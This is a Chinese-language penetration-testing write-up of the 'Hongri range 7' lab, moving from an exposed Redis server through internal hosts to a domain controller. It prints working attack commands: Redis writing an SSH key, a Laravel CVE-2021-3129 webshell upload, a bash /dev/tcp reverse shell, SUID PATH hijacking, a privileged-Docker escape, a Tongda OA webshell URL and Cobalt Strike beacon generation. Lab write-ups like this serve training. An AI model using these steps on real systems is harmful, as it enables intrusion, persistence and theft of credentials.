目录
[② vmnet2网卡](#② vmnet2网卡)
[③ vmnet14网卡](#③ vmnet14网卡)
[(1) 直接连接未授权Redis](#(1) 直接连接未授权Redis)
[(1)file /home/jobs/shell](#(1)file /home/jobs/shell)
[1、CVE-2021-3493 PoC下载](#1、CVE-2021-3493 PoC下载)
[九、PC1渗透(通达OA 走stoway代理)](#九、PC1渗透(通达OA 走stoway代理))
[3、使用genCrossC2.Win生成linux beacon](#3、使用genCrossC2.Win生成linux beacon)
[(1)添加cs http beacon监听](#(1)添加cs http beacon监听)
[十四、CS上线DC(PSexec via PC1 smb)](#十四、CS上线DC(PSexec via PC1 smb))
[十五、CS上线PC2(PSexec via DC smb)](#十五、CS上线PC2(PSexec via DC smb))
本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,整个攻击链包括:通过Redis未授权渗透获取Web1跳板机权限;利用Laravel(CVE-2021-3129)渗透Web2服务器并实现Docker逃逸;配置FRP反向代理连通内网;使用fscan进行内网探测;通过CS工具上线多个内网主机;最终利用永恒之蓝和Psexec/SMB攻陷域控DC。整个渗透过程展示了从信息收集、渗透利用到权限提升、横向移动的完整攻击路径,涉及Redis、Laravel、Docker逃逸等多种渗透技术。具体如下所示。
-
Web1 (外网跳板机) - 信息收集 : 通过端口扫描发现并利用 Redis 未授权访问渗透。
-
Web1 (外网跳板机) - 获取权限 : 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
-
Web1 (外网跳板机) - 内网探测 : 上传fscan进行内网扫描,发现192.168.52.0/24网段。
-
Web2 (内网1) - 渗透利用 : 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129渗透。
-
Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
-
Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
-
Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。
-
Kali(攻击机)-Web1 (外网跳板机) - 反向代理:使用FRP搭建反向代理连通内网1。
-
PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。
-
Kali-Web1-PC1 (内网1) - 路由转发 : 通过添加路由使PC1、Web2与Kali可以互通。
-
Web1 (外网跳板机) - CS上线 : 通过向Web1上传baecon并执行,CS上线Web1权限。
-
Web2(内网1)- CS上线 :通过向Web2传上传baecon并执行,CS上线Web2权限。
-
PC1 (内网1) - CS上线 : 通过向PC1上传baecon并执行,CS上线PC1权限。
-
PC1 (内网1) - 域控信息搜集 : 搜集密码信息与域信息,获取域管理员账户密码。
-
DC(内网2) - CS上线 : 通过SMB中转会话和PSexec上传DC域控。
-
PC (内网2) -CS上线 :通过SMB中转会话和PSexec上传DC域控。
一、渗透环境
1、网络拓扑
外部网络:
- Kali攻击机:Vmnet8-192.168.59.128
- DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10
第一层内部网络:
- Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
- PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20
第二层内部网络:
- 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
- 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表
本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。
-
外网突破 :Kali 利用 Web1 的 Redis未授权(192.168.52.10) 获得首个立足点。
-
内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
-
向内网2渗透 :利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
-
内网2攻击 :最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
| 节点 | IP地址 | 角色 | 渗透路径中的作用 |
|---|---|---|---|
| Kali攻击机 | 192.168.59.128 (Vmnet8) | 攻击发起源 | 从外网发起攻击的起点 |
| Web1跳板机 | 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) | 初始入口 Redis未授权访问 | 第一层跳板,连接外网与内网1 |
| Web2服务器 | 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) | Laravel应用 & Docker 双网卡网关 | 第二层跳板,连接内网1与内网2 |
| PC1 | 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) | 通达OA系统 双网卡主机 | 辅助跳点,连接内网1与内网2 |
| PC2 (目标) | 192.168.93.40 (Vmnet14) | 存在MS17-010(永恒之蓝) | 内网2核心攻击目标之一 |
| DC (目标) | 192.168.93.30 (Vmnet14) | 域控制器,存在Psexec/SMB | 内网2最终攻击目标 |
3 、网络搭建
(1)网络适配器配置
①修改Web1的网卡配置
将桥接的网卡改为NAT和VMnet2,如下所示。


开启redis服务,如下所示。
redis-server /etc/redis.conf

启动 Nginx 服务
/usr/sbin/nginx -c /etc/nginx/nginx.conf
注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
②修改Web2的网卡配置
将桥接的网卡改为VMnet2和VMnet14,如下所示。


- sudo service docker start
- sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示。
http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
③修改PC1的网卡配置
将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021
C:\MYOA\bin\AutoConfig.exe



另外,还需关闭这台机器的fw,否则无法访问其8080端口。


注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
(2)配置网段
①编辑虚拟网络编辑器
点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet2网卡
将vmnet2网段改为192.168.52.0/24,如下所示。

③ vmnet14网卡
添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集
1、探测存活主机
nmap 192.168.59.0/24 发现ip地址为192.168.59.141,如下所示。
nmap -sn 192.168.59.0/24

2、探测端口
对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81
nmap --A 192.168.59.141

三、Redis渗透
1、生成ssh私钥
在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。
|------------------------------|
| # 执行密钥生成命令 ssh-keygen -t rsa |
2、查看生成公钥文件
进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥 (必须严格保密),而~/.ssh/id_rsa.pub是公钥**(可以分发),查询公钥内容如下所示。**
cat ~/.ssh/id_rsa.pub
3、写入Redis服务器
(1) 直接连接未授权Redis
使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。
redis-cli --h 192.168.59.141
(2)写入SSH公钥获取服务器权限
将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。
config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save
4、ssh连接
ssh root@192.168.59.141 -i ~/.ssh/id_rsa
为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。
5、查看Web1的Nginx配置
在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。
cd /etc/nginx/conf.d/
cat 81.conf
查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web
2服务器的8000端口。
四、Laravel渗透(Web2)
本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。
1、发现Laravel
我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。
http://192.168.59.141:81
2、下载PoC
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
3、执行PoC上传木马
进入PoC所在的目录,执行PoC上传木马,命令如下所示。
python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81
这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。
4、下载哥斯拉
由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla
5、连接哥斯拉
通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。
添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。
点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。
6、发现Docker环境
通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。
执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。
五、Docekr逃逸(Web2)
1、利用反弹shell交互
(1)Web1监听5555端口
因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。
(2)哥斯拉(Docker)连接5555端口
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
(3)Web1反弹shell成功(连接Docker)
如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。
2、查找find权限
在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。
find / -perm -u=s -type f 2>/dev/null
如下所示,我们发现**/home/jobs/shell文件,这** 是一个设置了SUID权限 的可执行程序,并且其属主是 root。
3、分析/home/jobs/shell文件
(1)file /home/jobs/shell
使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。
(2)发现源码文件
由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。
使用命令cat /home/jobs/demo.c查看文件内容并分析,该C程序通过setuid(0)和setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令。具体如下所示。
(3)尝试直接执行shell程序
我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。
5、环境变量提权
(1)命令详解
我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。
|-----------------------------------------------------------------------------------------------------|
| cd /tmp echo "/bin/bash" > ps chmod 777 ps echo PATH export PATH=/tmp:PATH cd /home/jobs ./shell |
-
准备恶意程序
-
cd /tmp- 进入可写目录 -
echo "/bin/bash" > ps- 创建一个名为ps的文件,内容为/bin/bash -
chmod 777 ps- 赋予该文件所有用户可执行权限
-
-
劫持系统命令路径
-
echo $PATH- 查看当前系统的命令搜索路径 -
export PATH=/tmp:$PATH- 关键步骤 :将/tmp目录添加到PATH环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在/tmp目录下寻找。
-
-
触发执行并提权
-
cd /home/jobs -
./shell- 执行这个SUID程序,
-
(2)实操提权
执行shell后输入id和whoami,如下所示,提权成功。
当 ./shell 被执行时,以下过程在后台发生:
-
由于
shell文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。 -
假设在这个
shell程序的代码中,存在类似system("ps");的调用。它需要执行ps命令。 -
程序会向系统请求:"请帮我运行
ps命令"。 -
系统收到请求后,继承当前Shell的环境变量 (包括已被我们篡改的
PATH),开始寻找名为ps的可执行文件。 -
系统按照
PATH的顺序查找:-
首先在
/tmp目录中寻找。 -
立刻找到了我们创建的
/tmp/ps文件。 -
查找停止 ,系统不会再去
/bin或/usr/bin寻找真正的ps命令。
-
-
系统执行
/tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马ps)也继承了 root 权限。 -
/tmp/ps文件的内容是/bin/bash,因此系统实际执行的是/bin/bash。
6、交互式会话
python -c 'import pty; pty.spawn("/bin/bash")'
7、Docker逃逸准备
(1)特权模式检测
Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着容器将获得 Linux 内核的所有 能力。容器可以访问主机上的所有设备。通过cat /proc/self/status | grep CapEff查看能力值,若 返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。
(2)查看分区
通过fdisk -l获知宿主机磁盘为/dev/sda,具体如下所示。
(3)挂载文件系统
确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。
mkdir /ljn
mount /dev/sda1 /ljn
8、写入ssh密钥进行逃逸
(1)跳板机Web1生成密钥
Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。
ssh-keygen -f ljn
(2)向Web2写入公钥
我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys
(3)Web1连接Web2的ssh成功
Web1使用ssh -i ljn ubuntu@192.168.52.20命令连接宿主机,需要先将ljn私钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。
chmod 600 ljn #赋予权限
ssh -i ljn ubuntu@192.168.52.20
如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。
六、Web2提权
1、 CVE-2021-3493 PoC下载
CVE-2021-3493是Linux内核中的一个高危本地权限提升的安全风险,它主要影响Ubuntu系统。攻击者可以利用此它从普通用户权限提升至root权限。
https://github.com/briskets/CVE-2021-3493
2、Web2上创建PoC文件
首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。
3、编译执行PoC提权
首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该PoC利用程序,通过执行内核级PoC利用代码实现从普通用户到root权限的本地提权,如下所示提权成功
gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn
七、Web1上传Fscan探测内网1
1、上传fscan
由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段
这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测与扫描,旨在快速发现存活主机、开放端口及潜在安全风险。
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

八、FRP配置第一层反向代理
1、服务器(KALI攻击机)
(1)配置文件frps.ini
FRP服务端监听端口 7000,负责与FRP客户端建立控制通道。
|-----------------|
| bindPort = 7000 |
(2)kali执行frps
./frps -c frps.ini
2、客户端(Web跳板机)
-
核心角色:FRP客户端与服务提供端。
-
连接配置 :指向Kali服务器(
server_addr = 192.168.59.128:7000)。 -
服务定义 :创建了一个名为
[socks5]的代理服务。-
类型 :
type = tcp。 -
出口端口 :
remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。 -
插件 :
plugin = socks5,直接提供Socks5代理协议支持。
-
-
功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。
(1)配置文件frpc.ini
frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件,用于建立 socks5 代理连接至服务端。
|----------------------------------------------------------------------------------------------------------------------|
| [common] server_addr = 192.168.59.128 server_port = 7000 [socks5] type = tcp remote_port = 12347 plugin = socks5 |
- socks 端口 是
remote_port = 12347,即通过此端口提供 socks5 代理服务。 - 代理角色:frp 客户端通过配置的 socks5 插件,结合服务端(地址 192.168.59.128:7000)建立连接,最终由 frp 服务端侧通过 12347 端口对外提供 socks5 代理能力,客户端作为代理的发起和中转节点,服务端则是代理的对外接入点。
(2)向Web1服务器上传frpc文件并执行
3、Kali配置proxychains
配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

九、PC1渗透(通达OA 走stoway代理)
1、访问PC1的8080端口
访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透
(1)配置代理
这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)扫描探测
左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马
接下来我们点击"文件上传",在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)
使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

URL地址:
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
密码 rebeyond
如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24
如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

十、添加路由
此时我们已经拿到Web1服务器(跳板机)、Web2服务器(内网1)、PC1(内网1)的控制权。
1、kali添加路由
route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0
2、Web1添加转发功能
sysctl -w net.ipv4.ip_forward=1
3、Web2添加路由
route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0
4、PC1添加路由
route add 192.168.59.0 mask 255.255.255.0 192.168.52.10
5、Kali与Web2测试连通性
6、Kali与PC1测试连通性
十一、CS监听Web1(直连)
1、创建https监听
2、配置cs插件genCrossC2.Win
确保genCrossC2.Win目录中的key与cs server端的key值相同,需要将服务端key文件复制到genCrossC2.Win目录中,具体操作方法如下所示。
3、使用genCrossC2.Win生成linux beacon
genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw
4、将ljn-10050上传至Web1并运行
5、CS上线Web1
如下所示,Web1上线,内网ip地址为192.168.52.0/24网段.
十二、CS上线Web2(路由)
1、web2上传baecon
在web1的baecon文件ljn-10050.out目录中执行
python3 -m http.server 8888
web2下载ljn-10050.out
2、web2运行baecon
运行ljn-10050.out
3、CS2上线web2
十三、CS上线PC1(路由)
1、CS创建10087监听
(1)添加cs http beacon监听
添加cs监听器,选择 payload 类型(Beacon HTTP ),并配置回连的IP地址(团队服务器的IP地址:192.168.59.128 )和端口(10087 , 任意不冲突即可)。
(2)生成木马Payload
payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下, 选择"Windows可执行文件(Stageless)",如下图所示。
选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。
这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。
2、PC1执行Baecon
(1)冰蝎上传baecon到PC1
(2)冰蝎执行baecon
mooyuan2008-http-x64.exe
3、CS上线PC1的baecon
(1)CS上线PC1
这一步防止不稳定,可以提权一下
(2)抓取密码
(3)端口扫描
(4)域信息搜集
4、CS创建SMB监听
cs新建SMB监听,如下所示。
点击保存后监听列表中增加ljn-smb监听,如下所示。
十四、CS上线DC(PSexec via PC1 smb)
这步做之前,先还原快照(或者手动打开防火墙),确保环境是原始没有关闭防火墙版本的。
十五、CS上线PC2(PSexec via DC smb)
十六、总结
正常应该都是活动的,我这里因为电脑太卡了,对PC1和PC2、DC关机了,
图示化如下所示。